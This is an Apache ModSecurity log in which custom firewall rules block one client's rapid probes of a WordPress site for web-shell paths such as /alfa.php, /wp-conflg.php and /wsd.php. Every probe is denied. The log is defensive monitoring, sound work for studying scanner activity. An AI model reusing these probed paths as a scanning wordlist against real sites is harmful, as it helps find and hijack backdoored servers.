[Sat Feb 28 01:49:08.477440 2026] [:error] [pid 15100:tid 15173] [client 20.100.197.204:3082] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaHZFEOEbzcINan_ctLN1wAAAE0"]
[Sat Feb 28 01:49:08.993906 2026] [:error] [pid 38620:tid 38632] [client 20.100.197.204:11987] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaHZFAP6I7SRqrhh7Rol4wAAAUo"]
[Sat Feb 28 01:49:09.511052 2026] [:error] [pid 38620:tid 38625] [client 20.100.197.204:35944] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaHZFQP6I7SRqrhh7Rol6QAAAUM"]
[Sat Feb 28 01:49:10.028568 2026] [:error] [pid 15100:tid 15180] [client 20.100.197.204:2461] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaHZFkOEbzcINan_ctLN3wAAAFQ"]
[Sat Feb 28 01:49:10.545279 2026] [:error] [pid 38620:tid 38640] [client 20.100.197.204:15788] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "aaHZFgP6I7SRqrhh7Rol8QAAAVI"]
[Sat Feb 28 01:49:11.071868 2026] [:error] [pid 38620:tid 38629] [client 20.100.197.204:11059] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "aaHZFwP6I7SRqrhh7Rol8wAAAUc"]
[Sat Feb 28 01:49:11.587877 2026] [:error] [pid 15240:tid 15244] [client 20.100.197.204:22150] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "aaHZFy1iKL_41Rk9A9OHlwAAAAI"]
[Sat Feb 28 01:49:12.111439 2026] [:error] [pid 15099:tid 15156] [client 20.100.197.204:37774] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f5.php"] [unique_id "aaHZGOnvP2vtPjYDq_g-hwAAANc"]
[Sat Feb 28 01:49:12.629067 2026] [:error] [pid 15098:tid 15115] [client 20.100.197.204:25278] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aaHZGMkFqny8dQQbmTksIAAAAIk"]
[Sat Feb 28 01:49:13.146559 2026] [:error] [pid 15098:tid 15114] [client 20.100.197.204:2493] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aaHZGckFqny8dQQbmTksIgAAAIg"]
[Sat Feb 28 01:49:13.663931 2026] [:error] [pid 15099:tid 15151] [client 20.100.197.204:11990] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aaHZGenvP2vtPjYDq_g-iQAAANI"]
[Sat Feb 28 01:49:14.181299 2026] [:error] [pid 15240:tid 15262] [client 20.100.197.204:14888] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aaHZGi1iKL_41Rk9A9OHpQAAABQ"]
[Sat Feb 28 01:49:14.699928 2026] [:error] [pid 38620:tid 38643] [client 20.100.197.204:15777] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaHZGgP6I7SRqrhh7RomAAAAAVU"]
[Sat Feb 28 01:49:15.217815 2026] [:error] [pid 15240:tid 15253] [client 20.100.197.204:15746] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaHZGy1iKL_41Rk9A9OHrAAAAAs"]
[Sat Feb 28 01:49:15.748133 2026] [:error] [pid 38620:tid 38638] [client 20.100.197.204:37811] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaHZGwP6I7SRqrhh7RomBgAAAVA"]
[Sat Feb 28 01:49:16.265694 2026] [:error] [pid 38620:tid 38644] [client 20.100.197.204:35920] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaHZHAP6I7SRqrhh7RomCgAAAVY"]
[Sat Feb 28 01:49:16.782521 2026] [:error] [pid 38620:tid 38643] [client 20.100.197.204:37799] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aaHZHAP6I7SRqrhh7RomDgAAAVU"]
[Sat Feb 28 01:49:17.303839 2026] [:error] [pid 38620:tid 38625] [client 20.100.197.204:2447] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aaHZHQP6I7SRqrhh7RomEwAAAUM"]
[Sat Feb 28 01:49:17.822415 2026] [:error] [pid 15098:tid 15129] [client 20.100.197.204:22188] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aaHZHckFqny8dQQbmTksJAAAAJc"]
[Sat Feb 28 01:49:18.339927 2026] [:error] [pid 15098:tid 15126] [client 20.100.197.204:24461] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aaHZHskFqny8dQQbmTksJgAAAJQ"]
[Sat Feb 28 01:49:18.857399 2026] [:error] [pid 15100:tid 15169] [client 20.100.197.204:35939] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aaHZHkOEbzcINan_ctLN5QAAAEk"]
[Sat Feb 28 01:49:19.376651 2026] [:error] [pid 15100:tid 15178] [client 20.100.197.204:22163] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aaHZH0OEbzcINan_ctLN5wAAAFI"]
[Sat Feb 28 01:49:19.896845 2026] [:error] [pid 38586:tid 38598] [client 20.100.197.204:24456] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aaHZH7_i6nvKNhjFW7VZbAAAAQk"]
[Sat Feb 28 01:49:20.415720 2026] [:error] [pid 15100:tid 15173] [client 20.100.197.204:15789] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aaHZIEOEbzcINan_ctLN6gAAAE0"]
[Sat Feb 28 01:49:20.933688 2026] [:error] [pid 38620:tid 38622] [client 20.100.197.204:35935] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aaHZIAP6I7SRqrhh7RomHwAAAUA"]
[Sat Feb 28 01:49:21.453372 2026] [:error] [pid 15240:tid 15255] [client 20.100.197.204:11991] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aaHZIS1iKL_41Rk9A9OHvwAAAA0"]
[Sat Feb 28 01:49:21.972236 2026] [:error] [pid 15100:tid 15165] [client 20.100.197.204:11038] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aaHZIUOEbzcINan_ctLN8AAAAEU"]
[Sat Feb 28 01:49:22.490084 2026] [:error] [pid 15240:tid 15251] [client 20.100.197.204:37769] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aaHZIi1iKL_41Rk9A9OHwAAAAAk"]
[Sat Feb 28 01:49:23.006542 2026] [:error] [pid 38586:tid 38611] [client 20.100.197.204:25263] [client 20.100.197.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aaHZI7_i6nvKNhjFW7VZdAAAARY"]
[Sat Feb 28 01:49:23.523674 2026] [:error] [pid 38586:tid 38605] [client 20.100.197.204:35921] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aaHZI7_i6nvKNhjFW7VZeAAAARA"]
[Sat Feb 28 01:49:24.040426 2026] [:error] [pid 38620:tid 38644] [client 20.100.197.204:35941] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aaHZJAP6I7SRqrhh7RomKAAAAVY"]
[Sat Feb 28 01:49:24.557088 2026] [:error] [pid 38586:tid 38596] [client 20.100.197.204:11998] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aaHZJL_i6nvKNhjFW7VZewAAAQc"]
[Sat Feb 28 01:49:25.073727 2026] [:error] [pid 38586:tid 38602] [client 20.100.197.204:22186] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jane.php"] [unique_id "aaHZJb_i6nvKNhjFW7VZgQAAAQ0"]
[Sat Feb 28 01:49:25.599305 2026] [:error] [pid 38586:tid 38599] [client 20.100.197.204:2494] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jane.php"] [unique_id "aaHZJb_i6nvKNhjFW7VZgwAAAQo"]
[Sat Feb 28 01:49:26.121296 2026] [:error] [pid 38620:tid 38635] [client 20.100.197.204:19632] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jane.php"] [unique_id "aaHZJgP6I7SRqrhh7RomKgAAAU0"]
[Sat Feb 28 01:49:26.638137 2026] [:error] [pid 38620:tid 38626] [client 20.100.197.204:30583] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jane.php"] [unique_id "aaHZJgP6I7SRqrhh7RomLAAAAUQ"]
[Sat Feb 28 01:49:27.155091 2026] [:error] [pid 15240:tid 15256] [client 20.100.197.204:28977] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aaHZJy1iKL_41Rk9A9OHxAAAAA4"]
[Sat Feb 28 01:49:27.672245 2026] [:error] [pid 38620:tid 38625] [client 20.100.197.204:37794] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aaHZJwP6I7SRqrhh7RomMgAAAUM"]
[Sat Feb 28 01:49:28.189755 2026] [:error] [pid 38620:tid 38640] [client 20.100.197.204:37812] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aaHZKAP6I7SRqrhh7RomNAAAAVI"]
[Sat Feb 28 01:49:28.707502 2026] [:error] [pid 38586:tid 38591] [client 20.100.197.204:21496] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aaHZKL_i6nvKNhjFW7VZjwAAAQI"]
[Sat Feb 28 01:49:29.228473 2026] [:error] [pid 15100:tid 15170] [client 20.100.197.204:35905] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaHZKUOEbzcINan_ctLN8wAAAEo"]
[Sat Feb 28 01:49:29.744670 2026] [:error] [pid 38620:tid 38641] [client 20.100.197.204:11026] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaHZKQP6I7SRqrhh7RomOgAAAVM"]
[Sat Feb 28 01:49:30.261672 2026] [:error] [pid 38620:tid 38639] [client 20.100.197.204:2459] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaHZKgP6I7SRqrhh7RomOwAAAVE"]
[Sat Feb 28 01:49:30.779608 2026] [:error] [pid 15240:tid 15247] [client 20.100.197.204:22192] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aaHZKi1iKL_41Rk9A9OHzgAAAAU"]
[Sat Feb 28 01:49:31.296297 2026] [:error] [pid 38586:tid 38599] [client 20.100.197.204:15776] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaHZK7_i6nvKNhjFW7VZlQAAAQo"]
[Sat Feb 28 01:49:31.816056 2026] [:error] [pid 38586:tid 38612] [client 20.100.197.204:11020] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaHZK7_i6nvKNhjFW7VZmAAAARc"]
[Sat Feb 28 01:49:32.333160 2026] [:error] [pid 38620:tid 38625] [client 20.100.197.204:19646] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaHZLAP6I7SRqrhh7RomQgAAAUM"]
[Sat Feb 28 01:49:32.850801 2026] [:error] [pid 15240:tid 15261] [client 20.100.197.204:19624] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaHZLC1iKL_41Rk9A9OH0AAAABM"]
[Sat Feb 28 01:49:33.367947 2026] [:error] [pid 15100:tid 15175] [client 20.100.197.204:30507] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xxxx.php"] [unique_id "aaHZLUOEbzcINan_ctLOGQAAAE8"]
[Sat Feb 28 01:49:33.886026 2026] [:error] [pid 15100:tid 15168] [client 20.100.197.204:21453] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xxxx.php"] [unique_id "aaHZLUOEbzcINan_ctLOHgAAAEg"]
[Sat Feb 28 01:49:34.401712 2026] [:error] [pid 15240:tid 15244] [client 20.100.197.204:15806] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xxxx.php"] [unique_id "aaHZLi1iKL_41Rk9A9OH1AAAAAI"]
[Sat Feb 28 01:49:34.920048 2026] [:error] [pid 15100:tid 15178] [client 20.100.197.204:35955] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xxxx.php"] [unique_id "aaHZLkOEbzcINan_ctLOKQAAAFI"]
[Sat Feb 28 01:49:35.442446 2026] [:error] [pid 38586:tid 38606] [client 20.100.197.204:3113] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aaHZL7_i6nvKNhjFW7VZnwAAARE"]
[Sat Feb 28 01:49:35.961275 2026] [:error] [pid 38620:tid 38636] [client 20.100.197.204:19641] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aaHZLwP6I7SRqrhh7RomSQAAAU4"]
[Sat Feb 28 01:49:36.477873 2026] [:error] [pid 15098:tid 15126] [client 20.100.197.204:11976] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aaHZMMkFqny8dQQbmTksMQAAAJQ"]
